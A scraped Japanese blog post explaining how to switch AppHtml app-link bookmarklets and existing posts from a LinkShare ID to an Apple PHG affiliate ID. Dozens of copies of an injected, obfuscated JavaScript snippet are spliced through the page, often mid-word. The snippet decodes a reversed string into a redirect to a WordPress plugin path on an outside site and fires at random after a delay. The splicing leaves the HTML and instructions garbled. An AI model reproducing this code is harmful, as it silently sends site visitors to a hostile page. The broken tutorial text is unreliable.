$cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script>sample/images/apri_downloadbutton.gif&amp;amp;amp;quot; alt=&amp;amp;amp;quot;アプリをダウンロードする&amp;amp;amp;quot; width=&amp;amp;amp;quot;280&amp;amp;amp;quot; height=&amp;amp;amp;quot;50&amp;amp;amp;quot; /&amp;amp;amp;gt;
        &amp;amp;amp;lt;/a&amp;amp;amp;gt;
    &amp;amp;amp;lt;/div&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;

&amp;amp;amp;lt;p&amp;amp;amp;gt;

出力と動作も確認してからあとの作業をしてください。
そうしないとあとでまた直すのがたいへんになってしまいます。。

わかったところで、設定変更するべき作業が2つあります。

  1. これからブログに載せる際に使うBookmarklet。
  2. いまブログに載っているアプリリンク。

順番に参りましょう。

新しいAppHtmlの作成

1つめの「これからブログに載せる際に使うBookmarklet」を修正します。

${linkshareurl}となっている部分を、${url}%26at=自分のPHGのidに置き換えます。さっき上でやった通りですね。

※注意 こちらも${linkshareurl}は2か所あります。

さきほど確認したソースをAppHtmlに貼り付けてBookmarkletを生成します。
見た目は変わらないけど、裏側はPHG対応に切り替わっていますね。

&amp;amp;amp;lt;div id=&amp;amp;amp;quot;apphtml&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=10l9XF&amp;amp;amp;quot; target=&amp;amp;amp;quot;&amp;amp;amp;lt;em&amp;amp;amp;gt;blank&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;img width=&amp;amp;amp;quot;100&amp;amp;amp;quot; class=&amp;amp;amp;quot;alignleft&amp;amp;amp;quot; align=&amp;amp;amp;quot;left&amp;amp;amp;quot; src=&amp;amp;amp;quot;http://sumirexxx.com/2013/09/18/phg_fix_apphtml/&amp;amp;amp;quot; style=&amp;amp;amp;quot;bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-moz-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-webkit-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;
    &amp;amp;amp;lt;strong&amp;amp;amp;gt; ${title}&amp;amp;amp;lt;/strong&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=10l9XF&amp;amp;amp;quot; target=&amp;amp;amp;quot;&amp;amp;amp;lt;/em&amp;amp;amp;gt;blank&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;br&amp;amp;amp;gt;
 カテゴリ: ${category}&amp;amp;amp;lt;br style=&amp;amp;amp;quot;clear: both;&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;div class=&amp;amp;amp;quot;appDownloadButton&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=10l9XF&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot; target=&amp;amp;amp;quot;&amp;amp;amp;lt;em&amp;amp;amp;gt;blank&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;img src=&amp;amp;amp;quot;http://sumirexxx.com/wp-content/themes/<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (c==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script><script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script>sample/images/apri&amp;amp;amp;lt;/em&amp;amp;amp;gt;downloadbutton.gif&amp;amp;amp;quot; alt=&amp;amp;amp;quot;アプリをダウンロードする&amp;amp;amp;quot; width=&amp;amp;amp;quot;280&amp;amp;amp;quot; height=&amp;amp;amp;quot;50&amp;amp;amp;quot; /&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;

つぎは今まで作ってきたAppHTMLを置き換える作業です。
あのプラグインがよさそうな予感・・。

あのプラグイン「Search Regex」

たびたびの御登場です。よろしくおねがいします。
1つめの「いまブログに載っているアプリリンク。」に使用します。

使い方はこちらでごらんいただければと思います。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://sumirexxx.com/apphtml_fix_searchregex-1413.html” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://sumirexxx.com/2013/09/14/apphtml_fix_searchregex/” target=”_blank”>AppHTMLリンク切れの修正方法をご紹介 | sumirexxx$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://sumirexxx.com/apphtml_fix_searchregex-1413.html” alt=”” />

これは慎重にご自分のソースを確認してください。
カスタマイズするときに、リンクシェアIDの部分を変更されていましたか?私は全くなにもしていなかったので、全部のリンクにこのidが入っている状態です。

置換前:10l9XF
置換後:自分のid

これでOK!
いままでのリンクが置き換わっているか確認してみてください。

完了までの流れをまとめてみました

もしも、あれ?これはどうやるのかな?っていうことがあればまとめを作りましたので少々お待ちください。

更新したら、追記します☆

これで、PHG対応完了でーす。

この記事をシェアする

<